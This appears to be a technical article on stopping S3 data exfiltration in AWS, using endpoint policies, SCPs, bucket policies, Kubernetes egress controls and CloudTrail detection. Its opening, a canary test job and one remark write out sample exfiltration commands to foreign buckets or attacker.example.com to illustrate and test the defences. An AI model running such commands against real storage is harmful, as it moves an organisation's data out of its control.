Block Public Access is the first thing every AWS security baseline turns on, and the last thing most teams think about. It solves exactly one problem: anonymous or AuthenticatedUsers grants on your buckets. It does absolutely nothing against the scenario that actually keeps auditors awake — an authenticated identity inside your perimeter (a developer with a laptop, a CI runner, a compromised pod on ROSA/EKS) running:

aws s3 sync s3://prod-customer-exports/ s3://not-your-bucket-9f2c/ 

That request is perfectly legitimate from IAM's point of view: the principal has s3:GetObject on the source, and the destination bucket's own policy (owned by someone else) grants the write. Block Public Access is irrelevant. The data walks out through your NAT gateway at line rate.

This article builds the data perimeter that actually stops it: a combination of VPC endpoint policies, aws:PrincipalOrgID / aws:ResourceOrgID conditions, Service Control Policies, and network controls at the Kubernetes layer.

Context: three perimeters, not one

AWS data perimeter thinking decomposes the problem into three independent questions. Every S3 request should satisfy all three:

Perimeter Question Primary control Key condition
Identity Is the caller one of my identities? Bucket policy / endpoint policy aws:PrincipalOrgID
Resource Is the target one of my buckets? SCP / endpoint policy aws:ResourceOrgID
Network Does the request come from my network? Bucket policy / endpoint policy aws:SourceVpc, aws:SourceVpce

Block Public Access only touches a corner of the identity perimeter. Exfiltration is a resource perimeter failure: trusted identity, trusted network, untrusted destination.

Two structural facts matter before writing any JSON:

  1. A gateway endpoint for S3 only handles traffic to S3 in the same region. A request to s3.eu-west-1.amazonaws.com from a VPC in eu-west-3 leaves through the NAT gateway and never touches your endpoint policy.
  2. aws:ResourceOrgID is only populated when the service can resolve the owner of the target resource. S3 supports it; always pair it with IfExists semantics in Deny statements, and never rely on IfExists in Allow statements of an endpoint policy (there, absence of the key simply fails the match, which is what you want).

Grab your org ID first:

aws organizations describe-organization \ --query 'Organization.Id' --output text # o-ab12cd34ef 

The VPC endpoint policy: the chokepoint

The endpoint policy is evaluated for every request that transits the endpoint, regardless of the caller's IAM permissions. It is the cheapest, most reliable place to express "no data leaves the org".

The default policy created by AWS is "Action": "*", "Resource": "*", "Principal": "*" — fully open. Replace it.

{ "Version": "2012-10-17", "Statement": [ { "Sid": "AllowOrgPrincipalsToOrgResources", "Effect": "Allow", "Principal": "*", "Action": "s3:*", "Resource": "*", "Condition": { "StringEquals": { "aws:PrincipalOrgID": "o-ab12cd34ef", "aws:ResourceOrgID": "o-ab12cd34ef" } } }, { "Sid": "AllowReadOnlyAwsOwnedBuckets", "Effect": "Allow", "Principal": "*", "Action": ["s3:GetObject"], "Resource": [ "arn:aws:s3:::prod-eu-west-3-starport-layer-bucket/*", "arn:aws:s3:::amazonlinux-2-repos-eu-west-3/*", "arn:aws:s3:::al2023-repos-eu-west-3-de612dc2/*", "arn:aws:s3:::rhcos-eu-west-3/*", "arn:aws:s3:::eu-west-3-prod-ssm-documents/*" ] } ] } 

Statement one is the whole game: both conditions are inside the same Condition block, so they are ANDed. An org identity talking to a foreign bucket fails. A foreign identity (say, an external role assumed with credentials pasted into a pod) talking to your bucket fails too.

Statement two is the pragmatic exception list. ECR layer pulls, yum/dnf repos, RHCOS images and SSM documents live in AWS-owned buckets outside your org. They are GetObject-only, world-readable, and carry no exfiltration risk — you cannot write to them. Keep this list minimal and region-specific; discover what you actually need from CloudTrail before locking down.

Apply it:

VPCE_ID=$(aws ec2 describe-vpc-endpoints \ --filters "Name=service-name,Values=com.amazonaws.eu-west-3.s3" \ "Name=vpc-id,Values=vpc-0a1b2c3d4e5f" \ --query 'VpcEndpoints[?VpcEndpointType==`Gateway`].VpcEndpointId' \ --output text) aws ec2 modify-vpc-endpoint \ --vpc-endpoint-id "$VPCE_ID" \ --policy-document file://s3-endpoint-policy.json aws ec2 describe-vpc-endpoints --vpc-endpoint-ids "$VPCE_ID" \ --query 'VpcEndpoints[0].PolicyDocument' --output text | jq . 

Closing the cross-region hole

The gateway endpoint does not cover other regions. Two options, use both:

Interface endpoints with the same policy for any region you legitimately need, plus a NAT-level block. Remove the S3 managed prefix list from your private route tables' default route, or deny it at the network firewall:

aws ec2 describe-managed-prefix-lists \ --filters "Name=prefix-list-name,Values=com.amazonaws.eu-west-1.s3" \ --query 'PrefixLists[0].PrefixListId' --output text 

An SCP that enforces the resource perimeter globally, independent of network path. This is the backstop for anything that bypasses your VPC (console, CloudShell, cross-region):

{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyS3WritesOutsideOrg", "Effect": "Deny", "Action": [ "s3:PutObject", "s3:PutObjectAcl", "s3:CreateMultipartUpload", "s3:UploadPart", "s3:CompleteMultipartUpload", "s3:ReplicateObject" ], "Resource": "*", "Condition": { "StringNotEqualsIfExists": { "aws:ResourceOrgID": "o-ab12cd34ef" }, "BoolIfExists": { "aws:PrincipalIsAWSService": "false" } } } ] } 

Attach it to the OU holding production accounts. The aws:PrincipalIsAWSService guard prevents breaking legitimate service-to-service flows (for example an AWS service writing on your behalf to a service-managed bucket).

aws organizations create-policy \ --name DenyS3ExfilOutsideOrg --type SERVICE_CONTROL_POLICY \ --content file://scp-deny-s3-exfil.json aws organizations attach-policy \ --policy-id p-xxxxxxxx --target-id ou-root-prodou1 

Hardening the bucket side

The endpoint and the SCP protect the egress direction. The bucket policy protects the ingress direction — nobody outside the org, and nobody outside your networks, touches the data.

{ "Version": "2012-10-17", "Statement": [ { "Sid": "DenyNonOrgIdentities", "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": [ "arn:aws:s3:::prod-customer-exports", "arn:aws:s3:::prod-customer-exports/*" ], "Condition": { "StringNotEqualsIfExists": { "aws:PrincipalOrgID": "o-ab12cd34ef" }, "BoolIfExists": { "aws:PrincipalIsAWSService": "false" } } }, { "Sid": "DenyOffNetworkAccess", "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": [ "arn:aws:s3:::prod-customer-exports", "arn:aws:s3:::prod-customer-exports/*" ], "Condition": { "StringNotEqualsIfExists": { "aws:SourceVpc": ["vpc-0a1b2c3d4e5f", "vpc-0f9e8d7c6b5a"] }, "BoolIfExists": { "aws:PrincipalIsAWSService": "false", "aws:ViaAWSService": "false" }, "ArnNotLikeIfExists": { "aws:PrincipalArn": "arn:aws:iam::*:role/BreakGlassS3Admin" } } }, { "Sid": "DenyInsecureTransport", "Effect": "Deny", "Principal": "*", "Action": "s3:*", "Resource": ["arn:aws:s3:::prod-customer-exports/*"], "Condition": { "Bool": { "aws:SecureTransport": "false" } } } ] } 

aws:ViaAWSService is the one people forget: without it, Athena, Glue or S3 Replication calling S3 on your behalf gets blocked with a confusing AccessDenied.

And yes, still enable Block Public Access at the account level — it is defence in depth against a future bucket policy mistake:

aws s3control put-public-access-block \ --account-id 123456789012 \ --public-access-block-configuration \ BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=true 

Validating from an OpenShift workload

Your cluster workloads authenticate with IRSA / STS-based roles. The endpoint policy applies to them exactly as to an EC2 instance, which makes a pod the perfect test harness.

apiVersion: v1 kind: ServiceAccount metadata: name: s3-perimeter-test namespace: security-validation annotations: eks.amazonaws.com/role-arn: arn:aws:iam::123456789012:role/s3-perimeter-test --- apiVersion: v1 kind: ConfigMap metadata: name: aws-client-config namespace: security-validation data: AWS_REGION: eu-west-3 AWS_STS_REGIONAL_ENDPOINTS: regional AWS_EC2_METADATA_DISABLED: "true" --- apiVersion: batch/v1 kind: Job metadata: name: exfil-canary namespace: security-validation spec: backoffLimit: 0 template: spec: serviceAccountName: s3-perimeter-test restartPolicy: Never containers: - name: awscli image: public.ecr.aws/aws-cli/aws-cli:2.17.0 envFrom: - configMapRef: name: aws-client-config command: ["/bin/sh", "-c"] args: - | set -x echo "canary-$(date +%s)" > /tmp/canary.txt # must succeed: in-org bucket  aws s3api put-object --bucket prod-customer-exports \ --key canary/test.txt --body /tmp/canary.txt # must fail: out-of-org bucket  aws s3api put-object --bucket not-your-bucket-9f2c \ --key exfil.txt --body /tmp/canary.txt || echo "BLOCKED (expected)" securityContext: allowPrivilegeEscalation: false runAsNonRoot: true capabilities: { drop: ["ALL"] } seccompProfile: { type: RuntimeDefault } 
oc apply -f exfil-canary.yaml oc logs -n security-validation job/exfil-canary 

Expected output on the second call:

An error occurred (AccessDenied) when calling the PutObject operation: User: arn:aws:sts::123456789012:assumed-role/s3-perimeter-test/... is not authorized to perform: s3:PutObject on resource: "arn:aws:s3:::not-your-bucket-9f2c/exfil.txt" with an explicit deny in a VPC endpoint policy 

The phrase explicit deny in a VPC endpoint policy is the proof you want in your audit evidence. Run this job on a schedule as a CronJob and alert if it ever succeeds.

Cutting the alternative paths at the cluster level

An endpoint policy cannot stop a pod from POSTing a tarball to https://attacker.example.com. On OpenShift with OVN-Kubernetes, pair it with an EgressFirewall per namespace:

apiVersion: k8s.ovn.org/v1 kind: EgressFirewall metadata: name: default namespace: data-platform spec: egress: - type: Allow to: cidrSelector: 10.0.0.0/8 # VPC, S3 gateway endpoint prefixes via route table  - type: Allow to: dnsName: sts.eu-west-3.amazonaws.com - type: Deny to: cidrSelector: 0.0.0.0/0 

And a default-deny NetworkPolicy so lateral movement does not become the easier path:

apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-egress namespace: data-platform spec: podSelector: {} policyTypes: ["Egress"] egress: - to: - namespaceSelector: matchLabels: kubernetes.io/metadata.name: openshift-dns ports: - protocol: UDP port: 5353 

Finally, block the most common IRSA bypass — long-lived access keys injected as Secrets — with a Kyverno rule:

apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: no-static-aws-credentials spec: validationFailureAction: Enforce background: true rules: - name: block-aws-access-key-env match: any: - resources: kinds: ["Pod"] validate: message: "Static AWS credentials are forbidden; use IRSA / Pod Identity." pattern: spec: containers: - =(env): - name: "!AWS_ACCESS_KEY_ID|!AWS_SECRET_ACCESS_KEY" 

Detecting attempts

Turn on S3 data events in CloudTrail for the sensitive buckets, then query for anything whose destination account is not yours:

aws cloudtrail put-event-selectors --trail-name org-trail \ --advanced-event-selectors file://s3-data-events.json 
SELECT eventtime, useridentity.arn, eventname, vpcendpointid, errorcode, requestparameters FROM cloudtrail_logs WHERE eventsource = 's3.amazonaws.com' AND eventname IN ('PutObject','CreateMultipartUpload','CopyObject') AND errorcode = 'AccessDenied' AND from_iso8601_timestamp(eventtime) > current_timestamp - interval '7' day ORDER BY eventtime DESC; 

A spike of AccessDenied with vpcendpointid populated and an unknown bucket ARN in resources is either a misconfigured pipeline or an exfiltration attempt. Route it to a dedicated alert, not to the generic denied-API noise channel.

Security best practices

  • Roll out in observation mode first. Deploy the endpoint policy in a non-prod VPC, mine 30 days of CloudTrail for every out-of-org bucket actually touched, then build your exception list. Breaking yum update on 400 instances on a Friday is a career event.
  • Never use aws:PrincipalOrgID with StringNotEquals in an Allow statement. Use StringEquals in Allow (endpoint policies) and StringNotEqualsIfExists in Deny (resource policies). The IfExists suffix in an Allow is a silent bypass.
  • Prefer aws:PrincipalOrgID over account-ID lists. Account lists drift; the org ID survives account vending.
  • Keep break-glass out of the network perimeter, not out of the identity perimeter. The ArnNotLikeIfExists exemption should apply only to aws:SourceVpc, never to aws:PrincipalOrgID.
  • Pin the exception buckets by region and review them quarterly. AWS-owned bucket names change; stale entries are a permanent hole.
  • Combine with s3:ResourceAccount on identity-based policies for the specific roles that must never leave a known account set.
  • Enforce at two layers minimum. Endpoint policy (network path) plus SCP (resource perimeter). Either alone has a bypass.
  • Do not forget S3 Replication and CopyObject. Replication rules can target a bucket in another org; the SCP above covers s3:ReplicateObject, and iam:PassRole restrictions should cover the replication role.
  • Test continuously. The canary CronJob is the only thing that tells you the perimeter is still intact after someone "temporarily" relaxed a policy.

Conclusion

Block Public Access answers "can strangers read my bucket?". Exfiltration asks a different question: "can my own identities write somewhere I do not control?". The answer has to be enforced structurally, not by trusting IAM permissions to be perfectly scoped forever.

Key takeaways:

  • The VPC endpoint policy is your chokepoint: aws:PrincipalOrgID and aws:ResourceOrgID in a single Condition block, plus a short, explicit, read-only allowlist for AWS-owned buckets.
  • The SCP is your backstop for everything that does not transit the endpoint — console, CloudShell, cross-region calls.
  • Bucket policies close the reverse direction with aws:SourceVpc, guarded by aws:ViaAWSService and aws:PrincipalIsAWSService.
  • On OpenShift/Kubernetes, complete the picture with EgressFirewall, default-deny NetworkPolicy, and an admission policy that forbids static AWS credentials.
  • Prove it with a canary Job and CloudTrail queries; a perimeter you do not test is a perimeter you do not have.

Done properly, the exfiltration command at the top of this article fails in under a second, with a log line that names the policy that stopped it.